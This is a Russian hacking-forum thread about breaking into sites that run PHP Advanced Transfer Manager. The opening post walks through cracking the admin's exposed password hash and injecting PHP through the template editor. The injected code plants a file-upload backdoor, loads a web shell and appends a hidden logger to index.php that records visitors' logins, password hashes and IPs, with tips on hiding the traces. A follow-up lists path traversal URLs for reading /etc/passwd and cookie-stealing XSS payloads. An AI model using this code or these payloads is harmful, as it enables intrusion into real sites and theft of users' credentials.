Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   PHP Advanced Transfer Manager (https://forum.antichat.xyz/showthread.php?t=95371)

sadfeel 08.12.2008 17:34

PHP Advanced Transfer Manager
 
Вобщем ошибка этого движка заключается в том, что при указании пути в браузере - название_сайта/users/имя_юзера показывается md5 хеш пароля юзера и его мыло. Вот что из этого можно поиметь:

Для начала нужно качнуть хороший словарь для брута и софтину PasswordsPro (например). Главная цель - расшифровать хеш админа (в большенстве случаев ник админа - Admin или admin, стандартный пароль - test). В браузере пишем название_сайта/users/Admin . Расшифровываем хеш............ Логинимся.......

Следующая дыра заключается в том что можно самостоятельно (если права позволяют) вставлять любой код в страницу с сайтом. для этого под админом заходим в настройки сайта (configure.php), выбираем любой файл из списка:

footer.htm
header.htm
info.htm
mailinfo.htm

далее откроется окно редактирования. здесь можете писать все что душе вздумается. Главное знание PHP. я прописывал следующее:

PHP код:

<?
$fp
=fopen("languages/ml.php","a+");
$tmp='<?php
if ($File&& $File != "none") {
copy($File, $File_name);
}
?>
<FORM ENCTYPE="multipart/form-data" align="center" ACTION="<?php echo"$PHP_SELF"; ?>" METHOD="POST">
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="100000">
<INPUT NAME="File" TYPE="file">
<INPUT TYPE="submit" VALUE="загрузить">
</FORM>'
;
fputs($fp,$tmp);
fclose($fp);
?>

После сохранения в директории имя_сайта/languages/ создавался файл ml.php с помощью которого можно заливать файлы на сервер (если сервер поддерживает). после этого нужно сразу вернутся назад и удалить все что писали, а то любой юзер находящийся на сайте будет при заходе на любую страницу делать рефреш коду и он будет выполнятся.


Далее я заливал Antichat Shell.



Также можно использовать следующий код:

PHP код:

<?php
unlink
('include/mess.php')
?>
<?
$fp
=fopen("include/mess.php","a+");
$tmp='<?php die("")?>';
fputs($fp,$tmp);
fclose($fp);
?>

После сохранения возвращяемся назад и вместо этого кода копируем:

PHP код:

<? $fp=fopen("index.php","a+"); 
$tmp='<?php $win=getenv("windir"); $path=getenv("path"); $ip=getenv("Remote_addr");$fp=fopen ("include/mess.php","a+");
fputs($fp,"\\r\\n$logged_user_name-$enc_user_pass\\t$user_email\\t$ip\\t$win id=$activationcode");  ?>'

fputs($fp,$tmp); fclose($fp); ?>

Этим мы создаем:
1. файл в директории /include с названием mess.php;
2. дописываем к странице index.php код который позволяет сохранить информацию о юзере в файл mess.php. там будет ip, хеш и логин.

время от времени нужно будет "заглядывать" в файл include/mess.php и очищать его (а то будет палевно когда место будет исчезать). Как это сделать? вот код который нужно прописывать опять же в каком либо из файлов footer.htm header.htm info.htm mailinfo.htm:


для удаления файла:

PHP код:

<? unlink ('include/mess.php'); ?>

для просмотра нужно либо скопировать файл в какую нибудь директорию с измененным расширением:

PHP код:

<? 
$file1 
'include/mess.php';
$file2 'include/mess.txt';
copy($file1$file2);
?>

или с помощью шелла просмотреть содержимое этого файла (include/mess.php).

Так как пользователь заходит несколько раз то после копирования данных желательно их провести через скрипт:

PHP код:

<?php 
$file 
file('file.txt'); 
$new fopen('new.txt','at'); 
$file array_unique($file); 
foreach(
$file as $string

       
fputs($new,$string); 

fclose($new); 
?>

он удаляет повторные строки.


Заключение:

Это возможно если на сервере установлены соответствующие права. возможна и такая ситуация когда скрипт для заливки файлов на сервер не будет работать. тогда просто берем, открываем файл Antichat Shell.php и копируем его содержимое в один из файлов footer.htm header.htm info.htm mailinfo.htm. После внизу будет находится строка для ввода логина и пароля. Минус в том что это будут видеть все зашедшие, но если вам это нужно (быстро шото замутить на сервере) то валяйте ;)


скрипты и сам шел можно скачать от сюда

Удачи! и не сильно критикуйте :)

+StArT+ 09.12.2008 02:42

На самом деле это далеко не все "ошибки" данного скрипта, достаточно заюзать поиск по багтрекам..
да и простые манипуляции с расширением файла вполне проходят..
Имхо тема не раскрыта.
+1 за старание.

sadfeel 09.12.2008 21:35

Добавления:


источник http://www.xakep.ru/post/35874


Уязвимость позволяет удаленному злоумышленнику получить содержимое произвольных файлов на целевой системе. Уязвимость существует из-за ошибки в обработке входных данных в параметре «current_dir» сценариями html.php и htm.php. Атакующий может получить содержимое произвольных файлов на целевой системе.

Примеры:

http://site.gov.pl/upload/viewers/html.php?current_dir=..&filename=[file]
http://site.gov.pl/upload/viewers/htm.php?current_dir=..&filename=[file]
http://site.gov.pl/upload/viewers/htm.php?current_dir=С:\&filename=program.exe


Уязвимость позволяет удаленному пользователю произвести XSS нападение. Удаленный пользователь с привилегиями на загрузку файлов может загрузить произвольный HTML сценарий и выполнить его в контексте безопасности уязвимого сайта.

Пример:

<IMG SRC="_javascript:alert('hba from all iranian hacker');">



Обнаруженные уязвимости позволяют удаленному пользователю произвести XSS нападение и просмотреть произвольные файлы на системе.

1. Уязвимость существует из-за того, что программное обеспечение не обрабатывает должным образом входные данные в параметрах 'currentdir' и 'current_dir'. Удаленный пользователь может с помощью специально сформированного URL, содержащего символы обхода каталога, просмотреть произвольные файлы на системе с привилегиями Web сервера.

Пример:

http://[target]/[path]/viewers/txt.php?currentdir= ../../../../../../../etc/passwd%00
http://[target]/[path]/viewers/txt.php?c urrentdir= ../../../../../../../etc&filename=passwd
http://[target]/[path]/viewers/htm.php?current_dir= ../../../../../../../etc/passwd%00
http://[target]/[path]/viewers/ htm.php?current_dir= ../../../../../../../etc&filename=passwd
http://[target]/[path]/viewers/html.php?current_dir= ../../../../../../../etc/passwd%00
http://[target]/[pat h]/viewers/html.php?current_dir= ../../../../../../../etc&filename=passwd
http://[target]/phpatm/viewers/zip.php?current_dir= ../../../../../../../[filename].zip%00
http://[target]/phpatm/viewers/zip.php?current_dir= ../../../.. /../../..&filename=[filename].zip

2. Межсайтовый скриптинг возможен из-за отсутствия проверки входных данных в некоторых переменных. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный HTML сценарий в браузере жертвы в контексте безопасности уязвимого сайта.

Пример:

http://[target]/[path]/viewers/txt.php?font=% 22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://[target]/[path]/viewers/txt.php?normalfontcolor=%22%3E%3Cscript%3Ealert(do cument.cookie)%3C/script%3E
http:/ /[target]/[path]/viewers/txt.php?mess[31]=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E


Время: 03:31